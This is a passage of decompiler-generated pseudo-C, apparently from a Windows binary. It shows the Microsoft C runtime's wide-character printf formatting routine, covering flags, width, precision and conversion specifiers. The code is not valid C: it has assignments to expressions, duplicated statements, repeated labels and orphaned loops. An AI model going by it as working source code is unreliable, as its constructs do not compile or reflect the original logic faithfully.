												__ecx = __edx + _t83;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t94;
												 *(__ebp - 0x30) = __ecx + _t94;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t102 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
											__ecx =  *_t102 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t596 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t143 =  *(__ebp - 0x4ec) + 0x43c8f0; // 0xcccccc0d
											__eax =  *_t143 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C8B4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L81:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L83;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													goto L0;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x4b3bc1ec
															E00424560(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x4b248c6c
																	E00424560(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0x4b24956c
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
															goto L187;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428200(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041ACF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													do {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													} while ( *(__ebp - 0x4ec) > 0x37);
													goto L66;
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													L105:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x484) = E00428200(__ebp + 0x14);
													__eax = E00433DB0();
													__eflags = __eax;
													if(__eax != 0) {
														L115:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) & 0x00000020;
														__eflags = __ecx;
														if(__ecx == 0) {
															__ecx =  *(__ebp - 0x484);
															__edx =  *(__ebp - 0x44c);
															 *__ecx =  *(__ebp - 0x44c);
														} else {
															__edx =  *(__ebp - 0x484);
															__ax =  *(__ebp - 0x44c);
															 *( *(__ebp - 0x484)) = __ax;
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
													L106:
													__ecx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x4f4) = 0;
													} else {
														 *(__ebp - 0x4f4) = 1;
													}
													__edx =  *(__ebp - 0x4f4);
													 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E220();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x488);
													if( *(__ebp - 0x488) != 0) {
														L114:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													} else {
														L113:
														 *((intOrPtr*)(L00422D10(__ecx))) = 0x16;
														__eax = E00422AA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x4cc) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ACC0(__ecx);
														__eax =  *(__ebp - 0x4cc);
														goto L225;
													}
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L83:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428200(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L97:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L100:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L101:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L102:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L103:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L104;
													} else {
														L87:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L91:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L92:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L93:
															__ecx = __ebp - 0x40;
															E0041ACF0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E004310C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L96:
														L104:
														while(1) {
															L187:
															if( *(_t596 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428200(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428220(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430630( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E004306B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t596 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
